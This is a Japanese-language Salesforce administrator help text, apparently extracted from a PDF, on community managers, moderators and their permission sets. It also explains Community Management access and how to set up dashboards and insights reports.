ない場合は、オブジェクト名の全部または一部を入力してからもう一度検索してください。
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重要: システム管理者が自分自身をコミュニティから誤って削除すると、[コミュニティ管理]またはコ
ミュニティワークスペースの管理設定にアクセスできなくなります。コミュニティに自分自身を追加
し直すか、他のメンバーシップ更新を行うには、API を使用します。

関連トピック:

コミュニティマネージャとは?

コミュニティモデレータとは?

コミュニティマネージャとは?

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

どのコミュニティにも、コミュニティを活性化するために積極的な役割を果た
す人物が必要です。コミュニティマネージャは、日々時間をとってメンバーの
参加や会話を促し、貢献したメンバーを評価します。
コミュニティマネージャは組織の従業員である必要があります。外部コミュニ
ティメンバーがコミュニティマネージャになることはできません。
コミュニティマネージャは、コミュニティエンゲージメントを監視するという
特別な責任を担うコミュニティのメンバーです。コミュニティマネージャには、
活動とメンバーシップのトレンドを示すレポートとダッシュボードへのアクセ
ス権が必要です。また、メンバーが期待される頻度でログインしているかどう
かを把握する必要があります。コミュニティのメンバーシップと活動を監視す
ることで、コミュニティマネージャは、どうすればコミュニティメンバーの意欲を引き出して参加させられる
か、方法を見つけ出すことができます。
コミュニティマネージャは、レコグニションと友好的な若干の競争を取り入れれば、ほとんどの場合、メン
バーがより活発になることを知っているため、個々のメンバーの参加を評価できる機能を強力なツールとして
使用します。コミュニティマネージャは、メンバーが特定のアクションを実行したらポイントを授与するポイ
ントシステムと評価レベルを設定できます。メンバーがレベルのポイントしきい値の上限に達すると、レベル
が上がります。

コミュニティマネージャの割り当て
ユーザをコミュニティマネージャとして割り当てるには、「コミュニティの管理」権限を付与します。
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コミュニティマネージャの割り当て

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

権限セットを割り当てる
• 「権限セットの割り当

て」

ユーザをコミュニティマネージャとして割り当てるには、「コミュニティの管
理」権限を付与します。
コミュニティマネージャは組織の従業員である必要があります。外部コミュニ
ティメンバーがコミュニティマネージャになることはできません。ユーザをコ
ミュニティマネージャに割り当てるには、「コミュニティの管理」権限を付与
します。この権限があると、[コミュニティ管理] ページにアクセスできます。
1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ

ト] を選択して、[新規] をクリックします。
2. 「コミュニティの管理」権限を含む権限セットを作成します。
3. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
4. コミュニティマネージャに指定するユーザを検索し、そのユーザの [権限セッ

トの割り当て] 関連リストに権限セットを追加します。
これでユーザは [コミュニティ管理] からコミュニティを管理できるようになり
ます。

コミュニティモデレータとは?
モデレータは、ユーザの活動やフラグ付き項目を監視して、コミュニティを成功に導きます。
成功しているコミュニティでは、メンバーの活動やメンバー間のやりとりが積極的に行われます。コミュニ
ティモデレータは、コミュニティ内での情報の共有を促進することで、コミュニティへの参加から得られる利
点や価値をメンバーにもたらします。また、コミュニティ内でのすべてのやりとりとコンテンツを確実かつ適
切なものにするためにも役立ちます。
モデレータには内部組織のユーザまたは外部ユーザを指定できますが、[コミュニティ管理] およびコミュニ
ティワークスペースからモデレートできるのは内部ユーザのみです。外部ユーザがモデレータの場合は、コ
ミュニティフィードで直接モデレートするなど、コミュニティのコンテキスト内でモデレートできます。モデ
レータには、顧客との交流に慣れていること、およびコミュニティを定期的に監視する時間を確保できること
が求められます。
モデレータは、次のことができます。
• コミュニティでフラグが設定された投稿およびコメントのリストを確認して、対応策を実行する
• コミュニティでフラグが設定されたファイルのリストを確認して、対応策を実行する
• コミュニティでフラグを直接削除する
• 不適切な投稿、コメント、メッセージ、ファイルを削除する
また、他のさまざまな方法でもコミュニティの成功に貢献します。
• 関連性があり有益な情報をコミュニティの投稿で共有する
• 他のメンバーの投稿に関して、投稿およびコメントすることをメンバーに奨励する
• コミュニティ内での活動を通じて手本を示す
• 目的が明確で、スパムがなく、論争を招くことのないディスカッションを維持する
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• 他のコミュニティメンバーが恩恵を得られる場合にメールの内容をコミュニティにリダイレクトする
• 信頼できる情報源および明瞭なディスカッションのフォーラムとしてのコミュニティを確立する
特に多数のメンバーが存在するコミュニティの場合などに、複数のモデレータをコミュニティに指定できま
す。

メモ: コミュニティモデレータとChatterモデレータには一部の類似した機能がありますが、これらは異な
るモデレータです。

モデレートできるユーザ
フラグ設定が有効になっている場合、コミュニティをモデレートできるユーザには複数の種別があります。
コミュニティモデレータの割り当て
1 人以上のユーザをコミュニティでモデレータに指定して、そのコンテンツを監視できるようにします。

モデレートできるユーザ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フラグ設定が有効になっている場合、コミュニティをモデレートできるユーザ
には複数の種別があります。
モデレータには内部組織のユーザまたは外部ユーザを指定できますが、[コミュ
ニティ管理]およびコミュニティワークスペースからモデレートできるのは内部
ユーザのみです。外部ユーザがモデレータの場合は、コミュニティフィードで
直接モデレートするなど、コミュニティのコンテキスト内でモデレートできま
す。グループ所有者およびグループマネージャは、フラグ設定が有効な場合に
しかモデレートできませんが、モデレータは、コミュニティメンバーによるフ
ラグ設定が無効な場合でも、引き続き項目にフラグを設定することができます。
コミュニティで項目をモデレートできるユーザは、権限あるいはユーザがグルー
プのマネージャまたは所有者であるかどうかによって異なります。次の表に、モデレートできるユーザと、そ
のユーザがユーザインターフェースで実行できるアクションを示します。

グループの所有者または
マネージャ (自分が所有ま
たは管理するグループの
項目が対象)*

「コミュニティファイル
のモデレート」権限を持
つユーザ

「コミュニティフィード
のモデレート」権限を持
つユーザ

アクション

投稿またはコメントのフ
ラグを削除する

投稿またはコメントを削
除する

ファイルのフラグを削除
する

ファイルを削除する
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*グループ所有者およびマネージャがモデレートできるようにするには、[メンバーにコンテンツのフラグの設
定を許可する] オプションを有効にする必要があります。

コミュニティモデレータの割り当て

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

権限セットを割り当てる
• 「権限セットの割り当

て」

1 人以上のユーザをコミュニティでモデレータに指定して、そのコンテンツを監
視できるようにします。
モデレータには内部組織のユーザまたは外部ユーザを指定できますが、[コミュ
ニティ管理]およびコミュニティワークスペースからモデレートできるのは内部
ユーザのみです。外部ユーザがモデレータの場合は、コミュニティフィードで
直接モデレートするなど、コミュニティのコンテキスト内でモデレートできま
す。
次の 1 つ以上のモデレーション権限を含む権限セットを割り当てることで、モ
デレータを割り当てることができます。

ユーザに許可される操作権限

フラグ付きの投稿およびコメントを確認し、フラ
グの削除や投稿またはコメントの削除などの対応
策を実行します。フィードコンテンツのモデレー
タオプションは、コミュニティフィード、[コミュ
ニティ管理]およびコミュニティワークスペースで
使用できます。

コミュニティフィードのモ
デレート

アクセス権のあるフラグ付きファイルを確認し、
フラグの削除やファイルの削除などの対応策を実

コミュニティファイルのモ
デレート

行します。ファイルのモデレータオプションは、
ファイルの詳細ページおよび [コミュニティ管理]

またはコミュニティワークスペースから使用でき
ます。

フラグが設定されたメッセージを確認し、フラグ
の削除やメッセージの削除などのアクションを実

コミュニティ Chatter メッ
セージのモデレート

行します。ユーザは、この権限により、メンバー
であるコミュニティでフラグが設定されているメッ
セージにのみアクセスできます。

確認待機中の投稿とコメントの承認、削除、また
は編集を行います。

フィード投稿とコメントの
承認

コミュニティのメンバーである外部ユーザを凍結
します。モデレータは、ユーザプロファイルペー

コミュニティユーザのモデ
レート

ジまたはインサイトレポートでメンバーを凍結で
きます。
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ユーザに許可される操作権限

[コミュニティ管理]またはコミュニティワークスペースでコミュニティ
コンテンツをモデレートします。

コミュニティの管理

[コミュニティ管理] またはコミュニティワークスペースからコミュニ
ティページにアクセスします。

コミュニティ管理にアクセス

これらの権限はプロファイルにも追加できます。これらの権限は、ユーザがメンバーとなっているすべてのコ
ミュニティに有効ですが、内部組織では適用されません。
1. [設定] から、[クイック検索]ボックスに「権限セット」と入力し、[権限セット]を選択して、[新規]をクリッ

クします。
2. 適切な権限を含む権限セットを作成します。
3. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選択します。
4. コミュニティモデレータに指定するユーザを検索し、そのユーザの [権限セットの割り当て] 関連リストに

権限セットを追加します。
モデレータ権限をユーザに付与したら、次の点に留意してください。
• これで、ユーザはメンバーとなっているすべてのコミュニティでアクセス権がある項目をモデレートでき

るようになります。
• コミュニティで [メンバーにコンテンツのフラグの設定を許可する] が無効な場合でも項目にフラグを設定

することができます。
• [項目に不正フラグを付ける] メール通知を選択すると、モデレータは、投稿、コメント、またはファイル

にフラグ設定されたときにメール通知を受信できます。
モデレータ機能へのアクセスは、ユーザ権限によって少し異なります。
• コミュニティフィード内:「コミュニティフィードのモデレート」権限を持つ内部ユーザと外部ユーザは、

投稿およびコメントのコミュニティフィードでフラグインジケータを直接参照して、フラグを削除するの
か、コンテンツを削除するのかを決定できます。

• [コミュニティ管理] およびコミュニティワークスペース内:「コミュニティの管理」権限または「コミュニ
ティの作成および設定」権限を持つ内部ユーザのみ、[モデレーション] 領域にアクセスできます。
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[コミュニティ管理] へのアクセス

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティワークス
ペースまたは [コミュニ
ティ管理] にアクセスする
• 「コミュニティ管理に

アクセス」または「コ
ミュニティの管理」ま
たは「コミュニティの
作成および設定」

• およびコミュニティの
メンバーであること

モデレーションルールお
よび条件にアクセスする
• 「コミュニティの管

理」または「コミュニ
ティの作成および設
定」

• およびコミュニティの
メンバーであること

管理設定をカスタマイズ
する、またはコミュニ
ティビルダーを使用する
• 「コミュニティの作成

および設定」
• およびコミュニティの

メンバーであること

コミュニティの管理者およびマネージャは、[コミュニティ管理] を使用してコ
ミュニティ活動を監視し、その他の重要な管理機能を設定します。
1. 次のいずれかの方法で、コミュニティ管理にアクセスします。

• コミュニティからアクセスする場合
– Salesforce タブ + Visualforce コミュニティで、グローバルヘッダーの

をクリックします。
– コミュニティビルダーベースのコミュニティで、名前の横にあるド

ロップダウンメニューを使用して [コミュニティ管理] をクリックしま
す。

• [設定] から、[クイック検索] ボックスに「すべてのコミュニティ」と入力
し、[すべてのコミュニティ]を選択してコミュニティの横にある[管理]リ
ンクをクリックします。このページにアクセスするには、「コミュニティ
の作成および設定」権限が必要です。

• コミュニティビルダーのヘッダーで、テンプレートの名前の横にあるド
ロップダウンメニューを使用して[コミュニティ管理]をクリックします。

コミュニティでコミュニティワークスペースが有効になっている場合、代わ
りにそのコミュニティワークスペースにアクセスして [モデレーション]ワー
クスペースに移動します。

2. コミュニティの管理する部分を選択します。

メモ: [コミュニティ管理] およびコミュニティワークスペースで使用で
きるオプションは、コミュニティテンプレートの選択、権限、設定に基
づきます。たとえば、コミュニティでトピックを使用しない場合は、[ト
ピック] セクションは表示されません。すべてのセクションを表示する
には、[管理] > [個人設定]に移動して [コミュニティ管理のすべての設定
を表示] または [コミュニティワークスペースのすべての設定を表示] を
有効化します。

• グローバルヘッダーの [コミュニティ管理] メニューまたはコミュニティ
ワークスペースからコミュニティビルダー、Force.com、Site.com Studio で、
コミュニティをプレビューするか、コミュニティの設定にアクセスしま
す。

• [エンゲージメント]では、インサイトレポートを参照し、コミュニティの
活動に対してアクションを実行できます。

• [ダッシュボード]では、コミュニティのダッシュボードやレポートを参照
できます。

• [モデレーション]では、モデレーションルールを設定し、フラグ付きフィー
ド項目を監視できます。

• [トピック] では、ナビゲーショントピックや主要トピックを管理できます。
• [おすすめ] では、コミュニティに表示するカスタムおすすめを設定できます。
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• [評価] では、評価レベルやポイントを設定できます。
• [管理]では、名前、説明、URL、状況、テンプレートなど、コミュニティのプロパティをカスタマイズで

きます。また、メンバー、タブ、ブランド設定、ログイン、登録、メールなどのコミュニティ設定も更
新できます。

ダッシュボードを使用したコミュニティの成功の判断
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

活動の総計値やトレンドなどコミュニティの分析を表示する場合は、ダッシュ
ボードを使用します。ダッシュボードでは、コミュニティの採用とエンゲージ
メントに関する中長期的視点を得ることができ、コミュニティの健全性の概要
ビューが示されます。ダッシュボードは、投資収益率 (ROI) と重要業績評価指標
(KPI) の監視にも役立ちます。

コミュニティマネージャのダッシュボードの有効化および対応付け
コミュニティマネージャは、各コミュニティのダッシュボードを使用してそ
の成功を測定できます。ダッシュボードを [コミュニティ管理]またはコミュ
ニティワークスペースのホームページに対応付けることもできます。カスタ
ムダッシュボードを対応付けるか、AppExchangeパッケージで提供されるダッ
シュボードを使用することができます。
コミュニティのダッシュボードの作成
任意のダッシュボードをコミュニティに表示できますが、コミュニティで使用できるカスタムレポートタ
イプに基づいてダッシュボードを作成することをお勧めします。
コミュニティダッシュボードの表示
コミュニティの状態を監視するには、ダッシュボードを使用します。
インサイトとダッシュボードの違いは?

インサイトでは、コミュニティの最近の活動に対して直ちにアクションを実行できます。ダッシュボード
では、トレンドを確認できます。
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コミュニティマネージャのダッシュボードの有効化および対応付け

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[コミュニティ管理]または
コミュニティワークス
ペースでダッシュボード
を対応付ける
• 「コミュニティの作成

および設定」または
「コミュニティの管
理」

および

「公開フォルダのダッ
シュボードを管理」

および

コミュニティのメン
バーであること

コミュニティマネージャは、各コミュニティのダッシュボードを使用してその
成功を測定できます。ダッシュボードを[コミュニティ管理]またはコミュニティ
ワークスペースのホームページに対応付けることもできます。カスタムダッシュ
ボードを対応付けるか、AppExchange パッケージで提供されるダッシュボードを
使用することができます。
アクセス権のある任意のダッシュボードを対応付けることができますが、コミュ
ニティマネージャにもアクセス権があることを確認します。
使用しているダッシュボードの種類や、組織で使用しているインターフェース
に関係なく、すべてのダッシュボードが Lightning ダッシュボードとして表示さ
れます。たとえば、Salesforce Classic ダッシュボードが Lightning ダッシュボードと
して表示されます。ダッシュボードはLightningビューで表示されますが、Lightning

Experience では Salesforce Communities は完全にはサポートされません。一部のブラ
ウザではこの Lightning ビューがサポートされていないため、サポートされるブ
ラウザを使用していることを確認してください。

ヒント: AppExchangeからダウンロード可能なSalesforce  Communities Management

パッケージで事前設定されたダッシュボードを取得できます。
Salesforce Communities Management パッケージが組織でインストールされている場
合は、パッケージからダッシュボードへのデフォルトの対応付けが各ページに
表示されます。この値は、必要に応じて上書きできます。
ダッシュボードの対応付けおよび更新を行う手順は、次のとおりです。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [ダッシュボードの設定] をクリックします。
3. 各ページで、コミュニティマネージャに表示するダッシュボードを選択しま

す。ダッシュボードページの名前を変更するには、ダッシュボードの表示ラ
ベル内をクリックします。
ホームに対応付けるダッシュボードが、[コミュニティ管理] またはコミュニティワークスペースのホーム
ページに表示されます。

4. [保存] をクリックします。
コミュニティマネージャが [ダッシュボード]セクションを展開するか、[コミュニティ管理]またはコミュニ
ティワークスペースのホームページにアクセスすると、ダッシュボードがコミュニティマネージャに表示
されます。

ダッシュボードの対応付けを確認するには、[ダッシュボード]をクリックし、各ページ名をクリックします。
ダッシュボードを [ホーム] ページに対応付けた場合は、それも確認します。

関連トピック:

コミュニティのダッシュボードの作成
コミュニティダッシュボードの表示
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コミュニティのダッシュボードの作成

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムレポートタイプ
を作成する
• 「カスタムレポートタ

イプの管理」

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

ダッシュボードを作成お
よび共有する
• 「公開フォルダのダッ

シュボードを管理」

任意のダッシュボードをコミュニティに表示できますが、コミュニティで使用
できるカスタムレポートタイプに基づいてダッシュボードを作成することをお
勧めします。

ヒント: AppExchangeからダウンロード可能なSalesforce  Communities Management

パッケージで事前設定されたダッシュボードを取得できます。
使用しているダッシュボードの種類や、組織で使用しているインターフェース
に関係なく、すべてのダッシュボードが Lightning ダッシュボードとして表示さ
れます。たとえば、Salesforce Classic ダッシュボードが Lightning ダッシュボードと
して表示されます。ダッシュボードはLightningビューで表示されますが、Lightning

Experience では Salesforce Communities は完全にはサポートされません。一部のブラ
ウザではこの Lightning ビューがサポートされていないため、サポートされるブ
ラウザを使用していることを確認してください。
コミュニティワークスペースまたは [コミュニティ管理] を開きます。
1. ネットワークオブジェクトに基づいてカスタムレポートタイプを作成しま

す。
[コミュニティ管理] およびコミュニティワークスペースでは、ネットワーク
オブジェクトに基づいたレポートにのみコミュニティ固有の情報が表示され
ます。

メモ: 他のオブジェクトに基づいてレポートを作成し、[コミュニティ管
理] またはコミュニティワークスペースで公開することができます。そ
の場合、レポートを表示しているコミュニティだけでなく、組織全体の
データが表示されます。

• 主オブジェクトとして [ネットワーク] を選択します。
• 子オブジェクトを選択します。

– Chatter メッセージ
– フィードリビジョン
– グループ
– ネットワーク監査
– ネットワーク活動総計値 (日次)

– ネットワークのフィードリビジョン
– ネットワークメンバー
– ネットワークメンバーシップ総計値 (日次)

– ネットワークモデレーション
– ネットワーク公開利用状況総計値 (日次)

– ネットワークユニーク寄稿者総計値 (日次)

– おすすめ総計値
– トピックの割り当て
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– トピック
– 未公開フィードエンティティ

2. カスタムレポートタイプを使用して、レポートを作成します。
レポートをネットワーク ID で絞り込まず、表示しているコミュニティのデータが動的にレポートに表示さ
れるようにしてください。ネットワーク ID 検索条件をレポートに追加すると、どのコミュニティでレポー
トを表示しているかに関係なく、そのネットワーク ID を持つコミュニティのデータのみがレポートに表示
されます。

3. コンポーネントでダッシュボードを作成します。ソース種別としてレポートを選択します。
• ダッシュボードに含める各レポートのコンポーネントを追加します。
• [データソース] タブでレポートを見つけ、コンポーネントに追加します。
[コミュニティ管理] およびコミュニティワークスペースで使用される Lightning ビューで Salesforce Classic ダッ
シュボードが最適に表示されるように、ダッシュボードが次の要件を満たしていることを確認してくださ
い。
• 3 つの列内に並び替えられた最大 20 個のレポートのみが含まれている
• じょうご、散布図、表形式、複数総計値、円、ゲージなどのサポートされていないグラフが含まれてい

ない
Lightning ビューでサポートされていないダッシュボード機能のリストについては、「レポートおよび
ダッシュボード: Lightning Experience で使用できない機能とその新機能」を参照してください。

メモ: 総計値は、Lightningビューでサポートされていますが、大きいタイルとして表示されます。ダッ
シュボードに総計値を含めないことをお勧めします。

4. ダッシュボードを保存するフォルダをコミュニティマネージャと共有します。
5. コミュニティワークスペースまたは [コミュニティ管理]から、[ダッシュボードの設定]をクリックし、ダッ

シュボードを対応付けます。
コミュニティマネージャが [コミュニティ管理] またはコミュニティワークスペースにアクセスすると、ダッ
シュボードが [ダッシュボード]の下に表示されます。ダッシュボードを [ホーム]ページに対応付けた場合は、
ダッシュボードがそのページに表示されます。
[コミュニティ管理]またはコミュニティワークスペースのダッシュボードは、24 時間ごとに自動的に更新され
ます。最新のデータを表示するには、[更新]をクリックします。最近更新された後にダッシュボードにアクセ
スすると、最後の更新でグローバルにキャッシュされたデータがダッシュボードに表示されます。ダッシュ
ボードが 24 時間更新されていない場合は、アクセスしたときに自動的に更新されます。コミュニティ内のす
べてのロールベースの外部ユーザは、「指定したユーザとして実行」および「ログインしたユーザとして実
行」を使用して、設定されたダッシュボードを、組織ごとに 1 日 1,000 回まで更新できます。スケジュール設
定された自動更新は、この制限にカウントされません。内部ユーザに対しては、更新制限はありません。
ダッシュボードはいつでもカスタマイズできます。ダッシュボードを編集するには、[コミュニティ管理]また
はコミュニティワークスペースの [ダッシュボード] > [設定] ページに移動します。[表示ラベル] 項目をクリッ
クしてページ名を編集し、[ダッシュボード]項目の右にある下矢印を選択して異なるダッシュボードに対応付
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けます。[ダッシュボードを編集] をクリックして、内部 Salesforce 組織でダッシュボードを開きます。Lightning

Experience で作成したダッシュボードを使用している場合、リンクの編集は動作しません。

関連トピック:

カスタムレポートタイプの作成
レポートの作成
コミュニティ活動の追跡
レポートフォルダまたはダッシュボードフォルダの共有

コミュニティダッシュボードの表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ダッシュボードを参照す
る
• 「コミュニティの管

理」

または

「コミュニティの作成
および設定」

および

コミュニティのメン
バーであること

コミュニティの状態を監視するには、ダッシュボードを使用します。
使用しているダッシュボードの種類や、組織で使用しているインターフェース
に関係なく、すべてのダッシュボードが Lightning ダッシュボードとして表示さ
れます。たとえば、Salesforce Classic ダッシュボードが Lightning ダッシュボードと
して表示されます。ダッシュボードはLightningビューで表示されますが、Lightning

Experience では Salesforce Communities は完全にはサポートされません。一部のブラ
ウザではこの Lightning ビューがサポートされていないため、サポートされるブ
ラウザを使用していることを確認してください。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [ダッシュボード] をクリックします。

メモ: [ダッシュボード] セクションが表示されない場合、システム管理
者がダッシュボードをコミュニティに対応付けていません。

ダッシュボードが対応付けられたページは、[ダッシュボード] セクションま
たは [ホーム] ページに表示されます。

3. 参照するダッシュボードページをクリックします。
ダッシュボードが表示されます。ダッシュボードデータをすぐに更新するに
は、[更新] をクリックします。
[コミュニティ管理]またはコミュニティワークスペースのダッシュボードは、
24 時間ごとに自動的に更新されます。最新のデータを表示するには、[更新]

をクリックします。最近更新された後にダッシュボードにアクセスすると、
最後の更新でグローバルにキャッシュされたデータがダッシュボードに表示
されます。ダッシュボードが 24 時間更新されていない場合は、アクセスした
ときに自動的に更新されます。コミュニティ内のすべてのロールベースの外部ユーザは、「指定したユー
ザとして実行」および「ログインしたユーザとして実行」を使用して、設定されたダッシュボードを、組
織ごとに 1 日 1,000 回まで更新できます。スケジュール設定された自動更新は、この制限にカウントされま
せん。内部ユーザに対しては、更新制限はありません。

4. 関連レポートを参照するには、ダッシュボードの [レポートの表示] をクリックします。
ダッシュボードは、コミュニティ固有のデータを表示するように設定されています。
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レポートをネットワーク ID で絞り込まず、表示しているコミュニティのデータが動的にレポートに表示さ
れるようにしてください。ネットワーク ID 検索条件をレポートに追加すると、どのコミュニティでレポー
トを表示しているかに関係なく、そのネットワーク ID を持つコミュニティのデータのみがレポートに表示
されます。

ダッシュボードはいつでも変更できます。ダッシュボードを編集するには、[コミュニティ管理]またはコミュ
ニティワークスペースの [ダッシュボード] > [設定]ページに移動します。[表示ラベル]項目をクリックしてペー
ジ名を編集し、[ダッシュボード] 項目の右にある下矢印を選択して異なるダッシュボードに対応付けます。
[ダッシュボードを編集] をクリックして、内部 Salesforce 組織でダッシュボードを開きます。Lightning Experience

で作成したダッシュボードを使用している場合、リンクの編集は動作しません。

関連トピック:

インサイトとダッシュボードの違いは?

インサイトとダッシュボードの違いは?
インサイトでは、コミュニティの最近の活動に対して直ちにアクションを実行できます。ダッシュボードで
は、トレンドを確認できます。

活動のトレンドなどコミュニティの総計値を表示する
には、[ダッシュボード]を使用します。ダッシュボー

コミュニティの活動を参照、監視し、活動に対するア
クションを実行するには、[エンゲージメント]を使用

ドでは、コミュニティの採用とエンゲージメントに関します。インサイトでは、コミュニティの特定の領域
の詳細を確認できます。 する中長期的視点を得ることができます。投資収益率

(ROI) と重要業績評価指標 (KPI) の監視に役立ちます。
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たとえば、[ダッシュボード] > [活動] ページにアクセ
スすると、コミュニティでの全体的な寄稿トレンドを
含む、合計投稿数と合計コメント数を追跡できます。

たとえば、[エンゲージメント] > [採用] ページにアク
セスすると、コミュニティで投稿とコメントに対して
受け取ったいいね! 数が最も多い新規メンバーに関す
るレポートを参照できます。このインサイトレポート
は、他のコミュニティメンバーから肯定的なフィード
バックを受けている有効な新規メンバーを特定し、交
流するために役立ちます。

関連トピック:

コミュニティでのインサイトの表示とカスタマイズ
コミュニティダッシュボードの表示

コミュニティエンゲージメント向けのインサイト
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

インサイトとは、コミュニティマネージャが活動を監視し、その活動に対して
アクションを実行するのに役立つレポートのことです。インサイトを使用する
と、日常的なモデレーション作業の管理、コミュニティエンゲージメントの促
進、メンバー導入の推進が簡単になります。新規メンバー、未回答の質問、新
規作成されたグループ、トレンドトピック、さらには最新の Chatter 寄稿も監視
するようにインサイトを設定できます。

例: 新規メンバーを追跡するように設定されたインサイトレポートでは、
コミュニティマネージャが新規メンバーのプロファイルにすばやく移動し、
ようこそメッセージを送信できます。

また、インサイトページからドロップダウンメニューを使用して、メンバー
に関するその他のレポートに直接アクセスすることもできます。
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ヒント: 設定作業を自分で行う必要はありません。AppExchangeからダウンロードできるSalesforceCommunities

Management パッケージで、標準のインサイトを取得します。事前設定されたインサイトレポートを使用
するには、コミュニティで Chatter を使用する必要があります。
パッケージで提供されるインサイトレポートは 100% カスタマイズ可能です。デフォルトのインサイト
ページ名、レポートフォルダの対応付け、さらにはインサイトレポートの列と検索条件をいつでも変更
できます。パッケージ内容のカスタマイズや変更について懸念する必要はありません。ご安心ください。

コミュニティマネージャのインサイトの有効化および対応付け
コミュニティマネージャはインサイトレポートを使用して最近の活動を監視し、その活動に対してアクショ
ンを実行できます。設定と稼働を迅速に行うには、AppExchangeパッケージの事前設定されたインサイトを
使用します。また、独自のインサイトを作成して対応付けることもできます。各コミュニティは、独自の
インサイトを持つことができます。
コミュニティの独自のインサイトの作成
[コミュニティ管理] またはコミュニティワークスペースに表示する独自のインサイトを作成できます。コ
ミュニティで使用できるカスタムレポートタイプに基づいてインサイトレポートを作成することをお勧め
します。
コミュニティインサイトのカスタムアクションの作成
コミュニティのインサイトレポートとカスタムアクションにより、より多くの作業を実行できます。スパ
ム送信者がコミュニティを攻撃しているとします。カスタムアクションを作成して使用し、スパム送信者
の投稿とコメントをすべて 1 回クリックするだけで削除できるようにします。インサイトのカスタムアク
ションは、標準オブジェクトとカスタムオブジェクトで動作します。
コミュニティでのインサイトの表示とカスタマイズ
インサイトを使用し、最近のコミュニティの活動を監視してアクションをすぐに実行します。インサイト
では、日常的なモデレーション作業を管理し、コミュニティでの採用とエンゲージメントを把握できます。
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コミュニティマネージャのインサイトの有効化および対応付け

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[コミュニティ管理]または
コミュニティワークス
ペースでインサイトを対
応付ける
• 「コミュニティの管

理」または「コミュニ
ティの作成および設
定」

および

「公開フォルダのレ
ポートを管理」

および

コミュニティのメン
バーであること

コミュニティマネージャはインサイトレポートを使用して最近の活動を監視し、
その活動に対してアクションを実行できます。設定と稼働を迅速に行うには、
AppExchange パッケージの事前設定されたインサイトを使用します。また、独自
のインサイトを作成して対応付けることもできます。各コミュニティは、独自
のインサイトを持つことができます。
インサイトページは、内部組織のレポートフォルダに対応付けられます。その
フォルダに含まれるすべてのレポートは、インサイトページのドロップダウン
メニューに表示されます。内部組織のレポートフォルダでのインサイトレポー
トの追加または削除によって、[コミュニティ管理]またはコミュニティワークス
ペースのインサイトページが更新されます。インサイトページでは、[作成者]

や [グループ名] などのレポート項目へのリンクが自動的に作成されます。投
稿、コメント、メッセージでは、コンテンツをページに直接表示することもで
きます。

ヒント: AppExchangeからダウンロードできるSalesforce Communities Management

パッケージで、標準のインサイトを取得します。事前設定されたインサイ
トレポートを使用するには、コミュニティで Chatter を使用する必要があり
ます。
パッケージをインストールすると、レポートフォルダが内部組織に自動的
にインストールされます。インサイトが以前に対応付けられていない場合
は、パッケージにより自動的に対応付けられます。デフォルトの対応付け
はいつでも変更できます。

コミュニティのインサイトの対応付けおよび更新を行う手順は、次のとおりで
す。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [エンゲージメント設定] をクリックします。
3. 各インサイトページに名前を付け、ページに対応付けるレポートフォルダを選択します。

最大 10 個のインサイトページを対応付けることができます。
コミュニティマネージャがインサイトレポートを表示できるようにするため、対応付けられたレポートフォ
ルダをコミュニティマネージャと必ず共有してください。

4. [保存] をクリックします。
コミュニティマネージャが [コミュニティ管理] またはコミュニティワークスペースの [エンゲージメント]

セクションを展開すると、インサイトページがコミュニティマネージャに表示されます。

変更内容を確認します。[エンゲージメント]をクリックし、各インサイトページの名前をクリックします。ド
ロップダウンメニューを使用して、各ページに対応付けられたレポートを確認します。
Salesforce Communities Managementパッケージをインストールした場合、モデレーション関連のインサイトレポー
トも、[コミュニティ管理] またはコミュニティワークスペースの [モデレーション] セクションでページに対応
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付けられます。[エンゲージメント] セクションのページ名は、[モデレーション] セクションのページ名とは異
なり、変更したり対応付けを解除したりすることはできません。

関連トピック:

レポートフォルダまたはダッシュボードフォルダの共有

コミュニティの独自のインサイトの作成

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムレポートタイプ
を作成する
• 「カスタムレポートタ

イプの管理」

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

レポートフォルダを作成
および共有する
• 「公開フォルダのレ

ポートを管理」

[コミュニティ管理]またはコミュニティワークスペースに表示する独自のインサ
イトを作成できます。コミュニティで使用できるカスタムレポートタイプに基
づいてインサイトレポートを作成することをお勧めします。

ヒント: AppExchangeからダウンロードできるSalesforce Communities Management

パッケージで、標準のインサイトを取得します。事前設定されたインサイ
トレポートを使用するには、コミュニティで Chatter を使用する必要があり
ます。

1. ネットワークオブジェクトに基づいてカスタムレポートタイプを作成しま
す。
